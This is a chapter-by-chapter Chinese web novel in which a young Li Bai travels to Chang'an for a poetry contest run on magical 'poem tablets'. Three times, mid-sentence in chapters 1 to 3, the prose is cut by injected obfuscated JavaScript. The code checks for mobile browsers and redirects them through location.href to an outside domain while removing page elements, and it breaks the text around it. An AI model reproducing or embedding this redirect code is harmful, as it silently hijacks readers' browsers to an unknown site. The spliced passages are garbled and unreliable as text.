《诗牌盛唐I:长安热搜榜》 1. 踏歌入长安(上) 寅时,蜀道。 氤氲的山雾笼罩在石栈间,露水从峭壁松针上滑落,在岩石表面敲出细碎的声响,如更漏计数,提醒着远行之人启程的时辰。杜鹃扑棱翅膀,悲啼绕古木而上,直达云霄,反倒衬得这盘山古道愈发幽深。 三匹骏马冲破晨雾,踏碎寂静。为首的白衣少年突然勒住缰绳,从腰间取下一个紫砂酒壶,仰头饮尽最后一口酒,挑眉一笑: “玉生,你说这蜀道像不像老天爷用斧头劈歪了?歪歪斜斜,毫无章法。” 白衣少年随手将空壶抛给右侧穿月牙色长衫书生。被唤作玉生的少年慌忙接住酒壶抱在怀里,并未回答白衣少年的话,只是道:“十二郎,这‘剑南烧春’①烈得很呐……” 赶车的魁梧汉子不无戏谑地说:“都说蜀道难,可我看难的不是这山崖栈道。都说‘剑南烧春’烈,我看不如这手中剑烈!” “说得好!”白衣少年抚掌大笑,随即掌剑在手,朝着山雾迷蒙处朗声笑道:“诸位好汉既然愿意远送,何不明处说话,学什么鼠辈行径!” 岩壁上的苔藓不知何时停止了滴水,连风都凝固在松针之间。 “小郎君好眼力!” 十二个蒙面人从岩后闪出,为首者刀疤横贯左颊:“留下马车,饶你们性命!” 一声冷笑,剑光乍起,最先倒下的劫匪甚至没看清动作,狞笑永远定格在他古铜色的脸上。白衣少年衣袂翻飞如鹤舞,剑锋所及,三名劫匪中冲在最前的那人闷哼一声,委顿在地,咽喉处只留细微血痕。其余二人也被剑气波及,歪七扭八倒在地上。余者见白衣少年身手不凡,转而向旁边书生模样的年轻人横刀冲去。 书生的脸上划过片刻的惊恐,但随即向后一撤步,袖中似有闪动,冲在最前面的贼人倏尔倒地身亡,五步外又有两个贼人应声倒地。离得更远的贼人大惊失色,不知自家兄弟中了什么邪术,壮着胆子上前查看,才发现倒下的弟兄脖梗上飞入毒针。 然而,就在这几个人打算逃跑时,魁梧汉子一声暴喝,从马车上跳下来,截断他们的后路,手起刀落,他们也倒在了同伴身边。 刀疤脸眼看自己的同伙纷纷倒下,幸存的几个人都畏畏缩缩不敢再上前,己方势单力孤,暗骂了句黑话,随即后退数步,吹响骨哨,山道上顿时响起杂乱的脚步声。白衣少年瞥见林间闪动的寒光,突然收剑入鞘,剑穗上缀着的明月佩叮当作响。 “且慢!” 白衣少年走上前来,立于气势汹汹的贼人面前,躬身施了一礼,笑嘻嘻道:“听口音,诸位好汉也是蜀中人,老乡何必为难老乡?若是切磋武艺,刚才的‘指教’可还尽兴?若是劫财嘛……” 少年轻挑车帷,露出三个大木箱和三个布包袱。 “好汉尽可查看,不过是些诗稿和我等的换洗衣物。为了这些大动干戈,不值当吧?” 匪众面面相觑,有人放下了刀,有人伸长了脖子。 刀疤脸不信邪,抢上前来推开白衣少年,把木箱和布包袱翻了个遍,试图找出藏在诗稿和衣物间的金银,却一无所获。 白衣少年被推得踉跄了一下,仍不改脸上笑意:“怎么样?我说的没错吧?” “晦气!一个酸丁,装什么阔气!” 刀疤脸话说得硬气,脸上却是一阵青一阵白。他自知力不能敌,又无财可图,可是就这么回去,兄弟耻笑事小,“寨主”责骂事大。他看了看身边仅剩的几个惊惶的手下,硬着头皮嘶声道:“可你杀了我这么多弟兄,又该怎么交代?!” 白衣少年故作惊恐状,抱拳道:“哎呀!恕罪恕罪,是在下的不是,下手太重……” 歪头思考了片刻,少年一拍巴掌:“这样吧,这个给你!”随即向书生使了个眼色,书生把刚刚因为扔飞针而掉在地上的酒壶捡起来,拂去上面的灰尘递给少年。 少年一抬手把酒壶扔给刀疤脸。刀疤脸稳稳接住酒壶,余怒未消,却见少年已经飞身上马,利落地挽起缰绳。 “够你给这几个倒了霉的兄弟买口薄皮棺材了,至于还能不能余个酒钱……看你造化吧!” 其余劫匪还想不依不饶,被刀疤脸拦住——论武功,他们确实不是少年一行的对手,且这酒壶明显比车上那些破烂值钱的多,也算不虚此行。 只不过…… 刀疤脸眯起眼睛仔细看酒壶,壶底刻有青莲纹样。 “撤!”刀疤脸又恶狠狠地瞪了一眼这三个硬茬,带着他的人消失在了密林中。 “再见!愧对诸位好汉远送,我还要参加赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275796|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,就不送你们啦!”白衣少年回头看着一个个黑影消失在山雾与密林的交接处,挥手高喊,手却被书生拽住。 “李太白!莫再逞这口舌之快了!” 李白收回目光,大笑着拍了拍这位惊魂未定的朋友:“我倒觉得颇为有趣。哎,刚刚你拿飞针射那几个贼人的时候,可没见你害怕!” 他们一行继续沿着蜀道快马加鞭——《大唐好诗歌》开赛在即,李白正带着好友卢玉生和吴十九星夜兼程赶往长安。 “若无这帮匪徒,兴许我们还能欣赏一下蜀道风景。这下可好,要是不快点,只怕要睡在长安城郊了!”卢玉生颇有些抱怨。 吴十九继续赶车,打趣道:“我早已算好了,以我们现在的速度,到长安时刚好酉时,不耽误。怎么,玉生是觉得走太急,没法好好欣赏风景,写不出好诗来?” “才不是!”卢玉生矢口否认,又小声嘀咕道,“我就是怕耽误了比赛,那十二郎岂不是白准备了。” “蜀道之难,难于上青天——”②李白突然放声长歌,惊得山雀扑棱棱飞起,盖过了卢玉生的嘀咕,“只可惜刚刚光顾的打架了,没人把这精彩的光景拓下来。” “李生,这你可就错了!”魁梧汉子朗声大笑,指着自己的诗牌说:“结果那几个贼人有什么好拓的,我倒是把你和贼人周旋的光景拓了!” “是吗?让我看看!”不等吴十九说完,李白就夺过他的诗牌,看着诗牌里的自己,哈哈大笑。 “这段,对,把这段放出去,让他们见识见识什么叫‘诗剑双绝’!” 吴十九照李白所说截取留声拓影的片段,在确认发表的瞬间,一阵狂风卷过,先前迷蒙的雾气一扫而空,八百里秦川遥遥在望。 ——诗牌拓影,亦可留声,就连那名动海内的《大唐好诗歌》比赛都要通过这一尺见方的小牌。自打太宗朝③兴起此物后,上至王孙贵胄,下至贩夫走卒,人人几乎都有诗牌,即便自己不写诗,也可关注他人作诗,结交诗友,故而太宗定名为“以诗会友”。 “朱雀门诗板也该换换新门面了。以后的史官会不会记一笔‘蜀道新声’呢?”李白看着卢玉生,手下意识地去摸腰间的酒壶,却摸了个空。 “……但酒壶还是旧的好!” 2. 踏歌入长安(中) 渭河摇碎了最后一抹夕阳,长安城正吞吐着昼夜交替的烟火。李白一行勒马立在灞桥柳下,见朱雀门楼脊兽正披着霞光,日暮西垂亦不减威仪。 “十二郎,已是酉时了,我们还是赶紧进城吧。”卢玉生轻声提醒,却看李白眯起琥珀色的眼睛,望着那巍巍城墙。 “这长安……竟与我梦中分毫不差……” 卢玉生不解其意,欲言又止间只见李白低头取出腰间诗牌,青玉牌面映出朱雀门诗板的流光——此刻榜首赫然是#岐王夜宴新翻羽衣曲#。 界面停在拓影,但李白还是把诗牌收了起来,嘴角挂起一丝疏狂的笑。 “以后这些景象,不只是在梦里,也不止在诗牌,而是日日徘徊眼前,又何必拓!” 李白右手握拳,似乎紧紧地攥住了什么东西,剑柄上的明月佩折射夕阳红光,分外夺目。 卢玉生与吴十九似懂非懂,但见李白一夹马腹向朱雀门冲去,也赶紧挥动马鞭跟上去。 三人挤到朱雀门前,城门守卫将他们拦下,逐一检查着他们的诗牌——按规定,诗牌应当记录持有者姓名、籍贯等基本信息,如持有者离开户籍所在地,守卫会据此查验其身份。 “蜀中来的?”守卫斜了一眼这三个外乡人,又问:“马车上是什么?” “是诗稿!还有一些衣服……”卢玉生抢先一步作答,双手却紧紧地攥着月牙色衣角,声音有些发抖。 “平康坊南门右拐,崔九收诗稿,三文一札……”守卫检查过后,颇有些不耐烦,挥手示意他们赶紧过去。 “我们不是……”卢玉胜脸涨得通红,正要辩解,却被李白拦住。 “劳驾,醉仙楼怎么走啊?”李白来到守卫面前一抱拳,笑问道。 守卫又把这三人上上下下打量一番,嘴角流露出轻蔑的笑:“沿朱雀大街直行就能看到醉仙楼彩幡。” “多谢多谢!”李白又作了个揖,从袖子里抖出一串镶金饼的铜钱,稳稳落在守卫手里,“守城辛苦,这点不成敬意,拿去给弟兄们买点酒喝。” 守卫掂了掂铜钱,抬了一下眼皮,漫不经心道:“醉仙楼天字号房能看到整个长安的光景,听说今晚贺监也在醉仙楼。” 马车的车轮将巍峨的城墙甩在后面,卢玉生很是愤愤不平:“王府门前二品官!守卫之流,最是会看人下菜碟!” 吴十九打了个哈哈:“何必与他计较,倒是李生——我就知道在万川阁①,你留了一串铜钱绝对别有用意!” “那当然。”李白得意一笑,“长安米贵,可如果我们真带了满车金银,岂不早就让那贼人劫了去?走,先去流云掌匮!” 李白从诗牌外壳后面取出飞钱②,大踏步走在前面,这幅从容淡定的模样让吴十九很惊讶。 “李生知道这柜房在哪?” “何止是柜房,长安的达官贵府,茶楼酒肆,甚至——” 李白突然顿住,后撤一步来到吴十九身边,故作神秘道:“平康坊南曲哪位都知③擅谱新声,我都清楚!” 吴十九瞪大了眼睛,但看李白挥手示意他们跟上。来到一处朱阁林立的街巷,李白勒住马,从马鞍侧袋抽出一支铁笛,就唇吹出三短一长调子,南曲二楼“醉月阁”茜纱窗猛地推开,一女子抱琵琶探身,云髻斜坠珊瑚簪,眉心贴赤金花钿。 美人本眉眼带笑,见窗下站着个陌生男子,当即变了脸色,怒道:“哪来的登徒子!竟敢用他的笛谱——”话音未落,忽见李白剑上明月佩,更恶毒的词语被堵了回去,似乎连步摇上的珍珠都停止了晃动。 李白扬笛一笑道:“都知娘子,某千里而来,只求一听《凉州》破阵!” 都知冷笑回应:“《凉州》杀伐气重,郎君细皮嫩肉,怕是听不得!” “某的血性,娘子奏完便知。”李白掷金饼于窗台。 都知瞥了一眼金饼,眼珠转了转:“……好,若指法错了,郎君莫哭!” 都知抡指扫弦,三声裂帛音后,突转《凉州》大曲,轮指急如暴雨。李白闭目击节,忽高声吟诵:“贺监酒酣偏爱此,某说的可对?” 都知杏眼圆睁:“你怎知贺监……”未等说完便觉不对,愤然关窗,吴十九把她没说完的话补全:“你怎知贺监偏爱此曲?” “上月与三个粟特人斗酒,他们连裤腰带都押给我了!至于贺监曲癖?顺手套来的。” 见吴十九与卢玉生还愣在原地,李白得意地把笛子重新收好,手习惯性地按在并不存在的酒壶上:“他们输给我的可不只这些。在长安,曲中藏的人情比酒烈多了。快走吧,再晚些,咱们可就真要睡大街了!” 转过街角,流云掌匮的柜头正懒洋洋地数着票据,见李白三人走来,只是微微欠身:“郎君若是再晚来一步,柜房可就要落锁了。” “看来我来的正巧。”李白将飞钱推到柜头面前,“烦劳丈人兑十两足色吴银、五匹益州黄榖绢,余者给开元通宝。” 柜头脸色一变,暗自盘算一番,强作镇定道:“按规定,超二十两纹银飞钱兑换即需验看诗牌。郎君所说价值五十两纹银,烦请郎君出示诗牌证明。” “呶,丈人请看。”李白递上诗牌,牌面幽蓝的荧光清楚地照出柜头每一条皱纹里的惊愕。 “李郎君见谅,眼下已过酉时,市门将闭,可否先给三锭银并绢帛?明日巳时前定差人将余银送至醉仙楼。” “哦?丈人如何得知我要去醉仙楼?”李白把诗牌重新挂在腰间,斜靠着柜台问。 柜头谄媚地笑道:“郎君从蜀中而来,手持蜀地万川阁飞钱,若非达官即是富贾,在长安歇脚自然是住上等酒楼了。” “那就依丈人!”李白飒然一笑,正要离开,忽然顿住,回身凑近柜头,压低声音问:“听闻今夜贺监也在醉仙楼,确有此事?” “确有此事!”柜头连连点头,“老夫亲眼看见贺监的车驾停在醉仙楼前。” “谢了!”李白拽了拽还在看柜房墙上烫金挂画画轴的卢玉生,“玉生,十九,我们走!” 醉仙楼前,李白甩蹬下马的动作引得路人侧目。他径直走向柜台,高声道:“三坛琼玉饮,要去年腊月埋雪的那批。” “客官说笑,这六月酷暑,琼玉饮可是寒冬腊月的特供……”小二本是热情的笑脸一下子僵住,换了赔笑。 李白解下佩剑拍在柜上,“啪” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275797|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一声,惊得小二几乎跳起来。 “明日酉时三刻必降大雪。若无雪,贵店三日流水我包了。” 满堂哗然,小二不知所措地站在原地,试图劝解,喧哗声惊动了掌柜。他从柜台后转出来,圆脸上镶着的一双精明眼珠将李白上下打量一番,拱手作揖,大笑着说:“我观郎君气度不凡,又闻郎君语出惊人,必是当世才子。只是琼玉饮确为冬季特供,郎君何不试试‘青天坠露’?这是取终南山巅雾凇所酿,滋味不输琼玉饮!” 掌柜向小二使了个眼色,小二会意,急忙去取酒坛。 “若郎君能令六月飞雪……”掌柜眼珠一转,大声道,“三日后即是第三季《大唐好诗歌》比赛开赛之日,圣人也会观看。某在这里与诸君说好,赛事期间,酒楼所有消费均折半!这位郎君——免去费用!” 整个酒楼都沸腾起来,李白正要说话,二楼雕栏处忽然传来苍老笑声:“好个疏狂的后生!陈掌柜虽然已过知天命之年,这番狂劲也不输后生!” 众人仰头望去,但见鹤发老者手持犀角杯凭栏而立,腰间蹀躞带悬着金龟符——正是秘书监贺知章。 李白身躯一震,猛地抬头,目光正撞上老秘书监的醉眼。他右手紧紧扣住腰间诗牌,青玉牌面与腰带相撞发出清越声响。 陈掌柜连忙朝楼上作揖:“贺监明鉴,‘四明狂客’驾前,某岂敢称狂?倒是这小郎君,颇有贺监风骨!” 贺知章朝李白摆摆手:“小郎君且上前来,可否告知老夫姓名?” 李白难掩激动,作揖道:“在下李白,久仰贺监大名,本欲明日拜访,不想今日就在酒楼得见,实乃三生有幸!” 卢玉生眉头一皱,小声问吴十九:“我们不是来参加比赛的吗?怎么成了专程来拜访贺监了?” “你小点声!”吴十九用胳膊捅了捅卢玉生,“贺监是比赛主评审之一,要是让贺监知道李生是来参加比赛的,贺监怎么下得来台?赛前私会参赛选手,对贺监,对李生都不利!” 卢玉生恍然大悟,只听贺知章在二楼笑道:“看来老夫与你有缘,不如……” 不等贺知章说完,随从急匆匆地来到他身边,低声耳语了一番。贺知章听完收敛了笑容,沉吟片刻,脸上又绽开了笑。 “李郎君言之凿凿明日有雪,请问何以知之?” “天意也!”李白望着楼上的贺知章,眼神里带着狡黠,“贺监何不明日早来醉仙楼,一睹这番天意?” 随从正要上前呵斥,却被贺知章制止。 “后生可畏,那老夫明日再来醉仙楼,看看这‘六月飞雪’究竟如何落下。” 贺知章说完,慢悠悠地侧过身去,刻意高声对随从说:“瞧瞧我这记性,竟忘了今晚要帮张相校勘《曲江集》……” 脚步声与交谈声交织着从楼梯上下来,陈掌柜抢先迎上去道:“贺监明日若来,某便为贺监预留一个临窗位置,好好看看李郎君这场‘六月飞雪’,您看如何?” “甚好!”贺知章抚掌大笑,转头看了看柜台前的李白,意味深长地点点头,随即向门外走去,身后传来李白清朗的声音:“贺监明日可一定要来啊!晚生在此恭候!” 3. 踏歌入长安(下) 醉仙楼天字号房烛火通明。李白倚窗把玩着洮河砚,砚底歪歪扭扭地刻着“扶摇”二字。 “倒霉倒霉!”卢玉生和吴十九把最后一箱诗稿抬进屋里,口中叨念着,“怎就碰上贺监了?这要传扬出去,岂不让人说十二郎暗通大赛评委,大赛有失公允?” “塞翁失马,焉知非福?”李白放下洮河砚,纵身一跃坐到了装诗稿的木箱上,“那么多双眼睛看着,我不是和贺监讨论明天下雪的事嘛!况且……那二十四位学子为我抄诗,送我洮河砚,我总要对得起他们。” “人言可畏啊!”卢玉生打断他,“我们当然知道十二郎做事坦荡,可是其他人不明白呀!谁知道这话出了酒楼会被传成什么样子……” “好了好了,别吵了!”吴十九赶紧劝架,“我猜刚刚贺监说要帮张相校勘什么《曲江集》,定是随从告诉了他李生参赛的事,所以贺监才着急离开。要不然,李生就要上楼和贺监一起喝酒了。” “贺监的酒,我早晚要喝的。”李白仰头饮尽“青天坠露”,“当”的一声,把空酒杯放置在桌案上,他转而掏出诗牌,幽蓝的微光映照着他嘴角勾起的一丝笑意。 “都说这醉仙楼是长安消息最灵通的地方,果不其然。” 朱雀门诗板上的词条已然从#岐王夜宴新翻羽衣曲#变成了#蜀中狂生预言飘雪##醉仙楼赛事期间花销折半#。 “但是我不明白,李生你既然对长安这么熟悉,为什么进城前还要向守卫打听醉仙楼?还搭进去那么些铜钱……”吴十九挨着李白坐下,摆弄着手里的诗牌。 李白将诗牌调整到“静息”模式——他已经将自己的千机引挂在了醉仙楼外,只需用诗牌扫描即可关注“青莲剑歌”。新增关注的提示音让诗牌不停震动,好似真人炼丹的仙炉沸腾。 “我可不是要问醉仙楼在哪,我是要打探打探醉仙楼的风声。” 卢玉生也凑过来,三个人凑在一起。 “可千万别小看守卫这一类小角色,你们看,花了些银两,我们不也知道贺监在醉仙楼了嘛!有贺监作证,明日大雪一下——” 说到这,李白故意一顿,随即握紧拳头。 “我要长安无人不识‘青莲剑歌’!” 卢、吴二人如醍醐灌顶,连连称是。李白站起来,到床上盘腿坐下,正色道:“从现在开始,到明日酉时三刻,我不会踏出这屋子半步。除了你们两个,谁也不许进我的屋子,明白了吗?” “明白!” “天也不早了,你们先去睡吧。明天一早,玉生,你替我出去一趟,具体干什么我从诗牌上和你说。十九,你就在我的屋门口守着。” 卢玉生虽然疑惑,但还是答应了,吴十九却有些不乐意:“哎?我说李生,我这正打算来长安好好转转呢,你可倒好,把我给拴在门外了。而且什么事还要在诗牌上说,有什么不能明说的?李生莫不是把我当外人了?” “你看看你,着什么急呀!”李白一拍大腿,安慰这个急性子朋友,“我不也是被拴在这吗?就明天一天,明天过后,你想上哪转就上哪转,我绝不阻拦!至于为什么在诗牌上说,因为太多太杂,用嘴说不明白。十九,你也别生气,这样吧,为了你,我再多要一坛‘青天坠露’,够不够补偿你的?” “两坛!” “没问题!” 一夜无话。 沸腾了的不只是朱雀门诗板,还有整个长安城。街头巷尾各色人等口中念的,手上拿的,都是有关蜀中狂士预言六月飞雪的新闻。沽文馆的坊市笔们把醉仙楼围了个水泄不通。这些隶属于沽文馆采风台的市井记者们最善于捕捉新闻,号称长安城的“千里眼”和“顺风耳”,朱雀门诗板与长安街市的沸腾都要归功于他们。 掺了金粉的墨汁流入洮河砚,李白正挥毫泼墨写到“尔来四万八千岁”,突然听到急促的敲门声响起。 “李生,楼下都吵翻了天了,非要见你呢!” 吴十九在门外急得满头大汗,屋内的李白却很淡定。 “告诉他们,与其在楼下干等,何不先在这醉仙楼吃一盅酒,静待今晚落雪呢?” 听着吴十九下楼去的声音渐渐远去,李白抬头看向雕花窗户。此刻正是日头最毒之时,树上的蝉也都屏气凝神——但也许只是楼下的喧嚣掩盖了蝉声。 “倒也难为了他们……” 李白暗自嘀咕着,手中笔饱蘸金墨,继续书写。 随着最后一笔落下,陈掌柜也急匆匆地赶到了屋门外。 “李郎君,我看你还是出去见一见那些人吧,刚刚有位小娘子晕倒了,她为了能见你一面,打今早辰时就在楼下等着,还和几个沽文馆的为抢在前面发生了口角。”说到这,陈掌柜深吸一口气,压低了声音: “我看她穿的朴素,可是她耳朵下的明月珰价值不菲,绝不是什么寻常人家的女子!” 李白放下笔,慢条斯理地走到铜镜前,欣赏着镜子里那张俊俏的脸:“这么说,掌柜是把这位小娘子的晕倒怪到某头上了?” “自然不是,但……” 陈掌柜还想辩解,却被李白抢先一步道:“依我看,陈掌柜该负这个责任吧?炎炎夏日,陈掌柜竟放任一个弱女子在太阳底下暴晒,不说请她进屋纳凉,也不给她些饮水,难怪要晕倒。” “李郎君也莫要为难老夫,我这醉仙楼毕竟也要做生意,总不能……” “罢了罢了。”李白重新回到桌案前,提笔写就两句诗,“麻烦掌柜帮我带个话,问问楼下诸位有哪些问题要与李某对峙,总结出三问,某一一作答,也就是了。” 陈掌柜答应一声,正要离去,却看见门缝里塞出来一页纸。 “把这个拿给那姑娘,见字如见诗心,不枉姑娘来一趟。” 不多会,吴十九从楼下带来了坊市笔们的三问—— “李郎君何以预见酉时三刻天降大雪?” “李郎君理应知晓大赛规则,为何赛前私会贺监?” “李郎君此来长安,是为扬名,还是为诗心养正?” 拿着坊市笔的三问,李白眉心一跳。 “好厉害的坊市笔!” 从昨日酉时进入长安到现在,李白仅在长安露过一次面,这些游走于长安街头巷尾的“无冕之王”竟然已经摸清了他的身份,三道问题如尖刀般直刺“青莲剑歌”。 李白大笔一挥,在宣纸上写下了“诗文在骨,公道在心”,交给了吴十九。 楼下的吵嚷声渐渐平息,卢玉生脚步轻盈地来到李白屋里。 “十二郎,你要我办的事,我都办妥了!” 李白眼睛一亮,赶紧把卢玉生拉到自己身边坐下:“说来听听!” “大赛有三位评委,贺监是其中之一,另外两位是张相和汝阳王。张相为人谦和,但对作品要求很是严格。贺监和汝阳王倒是相对宽松……” 卢玉生为了行动方便,换下了那身月牙白的长衫,换了身普通麻衣,此时他正从麻衣袖口里掏出手绘地图。 “另外,从醉仙楼西南角的角门出去,走过三间瓦房,再向右拐,便可抵达大赛现场。这条路线不光快,还隐蔽。” “不错。”李白看着地图上的路线,不住点头。 “另外,司礼官……” 卢玉生还想往下说,李白却拍了拍他的肩,说道:“去了这么久,玉生你也累了吧?快去吃饭,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“您不知道。”陈掌柜凑近贺知章耳边,“就今天白日里,为了见这位李郎君,楼下的人来了一茬又一茬,这李郎君也是怪僻,愣是不见人,把沽文馆那些坊市笔吊得够呛。他们又不肯走,只得在这沽酒消时。某在醉仙楼二十年,什么场面没见过,今日盛景,少有!” 贺知章重新端坐,眯起眼看着清朗的夜空,似乎是在自言自语:“李十二的雪,比终南山余雪又如何呢?” 陈掌柜与贺知章交谈之际,一楼的看客们已经骚动起来。人们看得清清楚楚,薄暮冥冥,深蓝的夜空中连片云彩都没有,怎么可能会下雪?人群中开始有了讥讽之声: “这不知天高地厚的小子,把牛皮吹破了吧!” “长安米贵,今日便叫他领教领教!” “李白人呢?怕不是知道天公不作美,抢先一步逃了吧?” “不对!你们看!” 随着一个惊讶万分的声音在人群中炸开,众人纷纷抬头,从醉仙楼楼顶洋洋洒洒飘下片片雪花。然而待人们伸手去抓,哪是什么雪花,分明是诗稿! “燕山雪花大如席,片片吹落轩辕台……”① 人们纷纷念着不同笔体书写的相同诗句,惊呼声中掺杂着楼顶传来的笑声: “诸君且看,这怎么不算一场大雪!” 李白站在醉仙楼楼顶,身后是卢玉生和吴十九卖力地将诗稿从木箱中取出,向楼下抛撒。 李白抓住一张还没来得及落下的诗稿,他认得,那是陈十六的字迹。 “你们不能来长安,就让长安见见你们的字。” 漫天的诗雪落下,贺知章拍手称快:“好生精明!老夫越发期待大赛那日的表演了。” 陈掌柜先是震惊,后来也一同笑起来,他赌赢了,李白的这场“诗雪”,下得高,下得妙!这无疑是他参赛的序曲,看来这醉仙楼又要多一个“财神”照拂了。 而贺知章更在意的是,这长安的天,要变了。 他抬手制止了陈掌柜为他添酒,望着纷纷飘落的“雪花”出神,眼里闪着精光。 楼外,蜀地狂生爽朗的声线划破夜空—— “速关青莲剑歌,好诗不错过!” 是夜,朱雀门诗板词条刷新: #醉仙楼天降诗雪# #青莲剑歌诗缘客破万# 4. 明月出天山(上) 曲江芙蓉园杏花坳的主审台后,张九龄与李琎①一左一右坐在紫檀木雕花长案前,中间席位虚位以待。案上摆放着茶盏,张九龄端起自己的茶盏,撇去浮沫轻呷。 李琎虽然是皇室贵胄,平日最喜爱饮酒论诗,但在张九龄这样诗品人品双绝的前辈重臣面前,还是有些拘谨。一番简单的寒暄后,张九龄便兀自品茗,李琎一面盼望着贺知章快些来,一面绞尽脑汁寻找话题。 “张相,您是前辈,小王资历尚浅,关于如何品评诗作优劣,还请张相多多指点。” 张九龄放下茶盏,莞尔一笑,对着李琎拱手施礼:“汝阳王过谦了。诗道如治国,首重雅正。首届《大唐好诗歌》魁首上官仪词藻精丽,然‘绮错婉媚’②终失风骨,譬如庭前牡丹,虽艳却不若杜兰清芬。倒是第二季魁首陈子昂③,他的《感遇》三十八首,独标‘兴寄’,《修竹》篇高举‘风骨’,一扫齐梁浮靡,方为诗坛砥柱。” 李琎轻叩桌面,他知道张九龄向来喜爱陈子昂,故而道:“张相所言极是。只是小王听闻昔年陈伯玉与王杨卢骆④匹敌,一时难分胜负。此四人革新诗风,虽稍显跳脱,却也令市井争诵。张相以为王杨卢骆如何?” “‘四杰’涤荡绮糜之风,将诗句放出馆阁,诚然可贵。”张九龄慢条斯理地说着,声如幽竹滴露,“然‘激切直露’终不可取。卢昇之《长安古意》未免铺陈扬厉,王子安《滕王阁序》稍显书帙堆砌。” 张九龄语调转冷,放下手中茶盏,轻叹一声:“假令此四子仕途顺遂,朱雀门诗板究竟谁人登顶,尚在两说。” 李琎正欲辩驳,贺知章已携酒香掀幔而入:“张相苛责过矣!四杰当年以弱冠之龄撼动齐梁旧体,恰似春雷惊死水——王勃‘老当益壮,宁移白首之心?穷且益坚,不坠青云之志’堪称神来之笔!杨炯‘宁为百夫长,胜作一书生’让多少文人投笔从戎!骆观光髫年咏鹅,中岁咏蝉,又让多少人唏嘘!” 见中间的座位空着,贺知章嚷道:“这是要老夫坐首席?我尊不如张相,贵不比汝阳王,这怎么成!子寿,我与你换换!” 张九龄起身,却并无换座之意,而是上前扶着贺知章到中间的席位上坐下:“贺监何必推辞?您比我们年长,阅历比我们都深,理应坐首席。” 李琎把座位调整到舒适的位置,帮贺知章提着衣袍:“贺监但坐无妨,小王还要请贺监详细说说,‘四杰’与陈伯玉激烈交锋的细节呢。” 贺知章推辞不过,只好在首席位置上坐下,抚须道:“这比赛的规矩是圣人定的。凡有意参赛者,需提前一月从‘以诗会友’上提名,并在提名后三日内发表参赛作品,打上#大唐好诗歌#,这算初赛。各地官员及评审审核通过,确认无代笔痕迹,且能反映真才实学,才能算通过初赛,成为‘诗俊’,可以来长安参加决赛。” “按道理,这比赛理应以个人名义参加,但王杨卢骆一直坚持集体参赛。彼时塞规尚未健全,此四子有意在截止报名前一刻才递交提名册,且故意将四人诗作折叠,仅把王子安一人的名字置于最上层,好似只是他一人参赛。” 贺知章左右看看,张九龄品着茶,脸上挂着温和的笑,李琎向前探身,迫切地想知道接下来的事。 “无论怎么样,他们四人也算‘蒙混过关’。决赛当日,陈伯玉竟使了个‘千金碎琴’⑤的招数,还扬言长安城中闺阁待嫁女子不必着急择婿,待他夺了魁首再考虑不迟。一时间他的‘狂歌客’千机引比醉仙楼的‘琼玉饮’还抢手!” 李琎听得入神,张九龄接过侍从添好的茶,和贺知章一起回顾着往期盛事。 “‘四杰’也不甘示弱,决赛场上,他们披锦纹胡服登场,王勃立于台前诵《滕王阁序》,杨炯以奚琴奏《破阵乐》,卢照邻操控诗牌投影出漫天星斗为幕。骆宾王更绝,竟用自己的灵盘引出淡蓝光雾,雾中浮现‘落霞与孤鹜齐飞,秋水共长天一色’!四人身形随乐舞交错,诗未诵毕,朱雀门诗板已爆了三回,连天枢台的频监⑥都看傻了眼!” 张九龄端茶的手抖了一下,茶水险些洒在桌案上。贺知章见状,收敛了刚刚的慷慨激昂,转而平静下来:“其实第二季《大唐好诗歌》根本没有赢家,陈伯玉也好,四杰也好,评审给出的都是三甲等成绩。最后还是上官昭容⑦定夺,将魁首评定权交给诗牌,这才引发了双方诗缘客的激战。” “‘陈派’说四杰浮华误国,四杰拥趸骂陈子昂‘毁琴沽名’,结果两派诗缘客在诗牌上争斗三日,倒是把《感遇》三十八首推上朱雀门诗板头条!圣上为平民愤,连夜召见陈子昂,赐他‘不必科考,直入翰林’的特权——这才有了后来《大唐好诗歌》‘免试授官’的规矩。” 空气突然变得微妙起来,最终还是张九龄用茶盏的轻响打破沉默:“陈拾遗当年创立‘风骨诗社’,开诗社先河,本欲以‘兴寄’之道聚天下志士,共论家国。他定下三条社规——‘诗必关时事,辞必求实录,志必存高远’。怎奈……他锋芒太露,终遭人构陷。那首《感遇·十九》‘圣人不利己,忧济在元元’,本为讽谏时政,却被曲解为‘谤讪君上’。宵小之徒竟就此事不依不饶,直至伯玉冤死狱中才肯罢休。人殁,诗社亦毁……” 李琎见张九龄神色暗淡下来,张了张嘴,想要劝慰两句,却不知该如何开口,只得求助贺知章。 贺知章听罢也是神色一凛,全然没了刚才的嬉笑之色,沉声安慰道:“张相也不必如此悲伤,诗道如江河,纵有曲折,终归东流。伯玉虽逝,但他的‘风骨’之说早已深入人心。如今孟浩然的‘襄阳诗社’,不正是承其遗志?老夫听闻,孟襄阳当年在长安,以一句‘微云淡河汉,疏雨滴梧桐’颇得张相青睐,襄阳诗社就是成立于当时。” 提及孟浩然,张九龄的脸上浮出一丝微笑:“襄阳的诗,淡而有味,不饰雕琢,甚合‘雅正’。” 